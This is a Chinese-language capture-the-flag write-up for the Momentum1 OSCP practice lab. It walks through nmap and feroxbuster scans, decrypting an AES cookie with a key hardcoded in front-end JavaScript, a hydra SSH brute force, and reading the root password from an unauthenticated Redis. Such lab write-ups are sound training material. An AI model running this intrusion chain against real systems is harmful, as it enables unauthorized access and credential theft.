Momentum1 WriteUp | OSCP 本地靶场实战复盘
1 环境说明
- 靶机名称:Momentum1
- 靶机 IP :
192.168.217.174 - 攻击机:Kali Linux
- 靶场类型:OSCP 本地模拟靶场
- 核心技能点:AES 解密、Cookie 分析、SSH 爆破、Redis 未授权访问
2 信息收集
2.1 端口扫描
首先对靶机进行端口扫描,发现仅开放 22(SSH)和 80(HTTP)两个端口。
bash
# TCP 端口扫描 + 服务版本探测
sudo nmap -p22,80 -sT -sC -sV 192.168.217.174 --min-rate=3000
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-24 22:29 +0800
Nmap scan report for 192.168.217.174
Host is up (0.00078s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 5c:8e:2c:cc:c1:b0:3e:7c:0e:22:34:d8:60:31:4e:62 (RSA)
| 256 81:fd:c6:4c:5a:50:0a:27:ea:83:38:64:b9:8b:bd:c1 (ECDSA)
|_ 256 c1:8f:87:c1:52:09:27:60:5f:2e:2d:e0:08:03:72:c8 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Momentum | Index
MAC Address: 00:0C:29:53:7C:BA (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
接着使用 Nmap 漏洞脚本做初步探测:
bash
# 漏洞脚本扫描
sudo nmap -p22,80 --script=vuln 192.168.217.174 --min-rate=3000
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
| /img/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
| /js/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
|_ /manual/: Potentially interesting folder
最后补充 UDP 端口扫描,未发现额外开放端口:
bash
# UDP 全端口扫描
sudo nmap -sU -p- --min-rate=4000 192.168.217.174
2.2 目录扫描
使用 Feroxbuster 进行目录爆破,重点关注可读目录和静态资源路径:
bash
# 多扩展名目录扫描
feroxbuster -u http://192.168.217.174/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
--limit-bars 4 --no-state --filter-status 404 \
-x php,html,txt,pdf,zip,enc,bak -r -d 2 --insecure
扫描结果显示 /js/、/css/、/img/ 三个静态目录均可直接列出,其中 /js/main.js 引起了我的注意。
2.3 JS 代码审计
访问 http://192.168.217.174/js/main.js,发现代码中存在 AES 加解密逻辑和硬编码密钥------这是整条攻击链的突破口。

踩坑记录:一开始我并没有把 Cookie 中的值和 AES 解密关联起来,花了大量时间在其他方向上摸索。后来才意识到 Cookie 本身就是 Base64 编码后的 AES 密文,思路一转就豁然开朗了。
访问首页时,注意到浏览器 Cookie 中存储了一段 Base64 编码的字符串:

利用在线 AES 解密工具(CryptoJS AES Encrypt/Decrypt),结合 main.js 中提取的 AES 密钥,成功解密 Cookie,获得明文密码 auxerre-alienum##。

2.4 生成密码字典
拿到关键密码后,使用 cewl 从靶机网站爬取词频,再结合已知密码手工制作一份高质量密码字典:
bash
# 爬取网站关键词生成密码字典
cewl http://192.168.217.174/ -d 10 -v
将 cewl 的输出与已知密码 auxerre-alienum## 合并,并补充大小写变体,最终 password.txt 内容如下:
txt
# 手工整理的密码字典
auxerre-alienum##
auxerre
alienum
Auxerre
Alienum
lightbox
container
hidden
Momentum
Index
Castles
fall
from
inside
bash
# 用户名字典以 cewl 关键词 + 常见组合生成
cat user.txt

bash
┌──(cat7㉿kali-cat7)-[~/Desktop/Oscp/Momentum]
└─$ cat user.txt
lightbox
container
hidden
with
CSS
prev
next
Momentum
Index
Castles
fall
from
inside
auxerre-alienum##
auxerre
alienum
Auxerre
Alienum
3 漏洞探测与利用
3.1 SSH 暴力破解
利用上一阶段生成的 user.txt 和 password.txt,使用 hydra 对 SSH 服务进行爆破:
bash
# SSH 字典爆破
hydra -L user.txt -P password.txt 192.168.217.174 ssh -vv
成功命中凭据 auxerre:auxerre-alienum##,获得靶机初始立足点。


4 权限提升
4.1 内部服务发现
SSH 登录后,首先查看本地监听端口:
bash
auxerre@Momentum:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:6379 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 [::1]:6379 [::]:*
tcp LISTEN 0 128 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
发现 127.0.0.1:6379 上有 Redis 服务运行,仅监听本地回环地址。
4.2 Redis 未授权访问
尝试直接连接 Redis,发现无需密码认证即可登录:
bash
auxerre@Momentum:~$ redis-cli
127.0.0.1:6379> keys *
1) "rootpass"
127.0.0.1:6379> GET rootpass
"m0mentum-al1enum##"
127.0.0.1:6379> exit
Redis 中仅有一个键 rootpass,值为 m0mentum-al1enum## ------这极有可能是 root 账户的密码。

4.3 提权至 Root
切换到 root 用户:
bash
auxerre@Momentum:~$ su root
Password: m0mentum-al1enum##
root@Momentum:/home/auxerre# cd /root
root@Momentum:~# ls
root.txt
root@Momentum:~# cat root.txt
[ Momentum - Rooted ]
---------------------------------------
Flag : 658ff660fdac0b079ea78238e5996e40
---------------------------------------
by alienum with ♥
root@Momentum:~#
成功拿到 root flag,完成提权。
5 总结
这次打靶的核心突破口在前端 JS 硬编码 AES 密钥 ,Cookie 中的 Base64 字符串本质上就是用该密钥加密的密文。一开始我在这条线索上绕了很久,没把 Cookie 和 AES 关联起来,直到回头认真审查 main.js 的代码逻辑才豁然开朗。整个链条非常清晰:/js/ 目录泄露 → 前端源码暴露 AES 密钥 → Cookie 解密拿到密码 → SSH 爆破获得初始立足点 → Redis 未授权读取 root 密码 → 提权完成。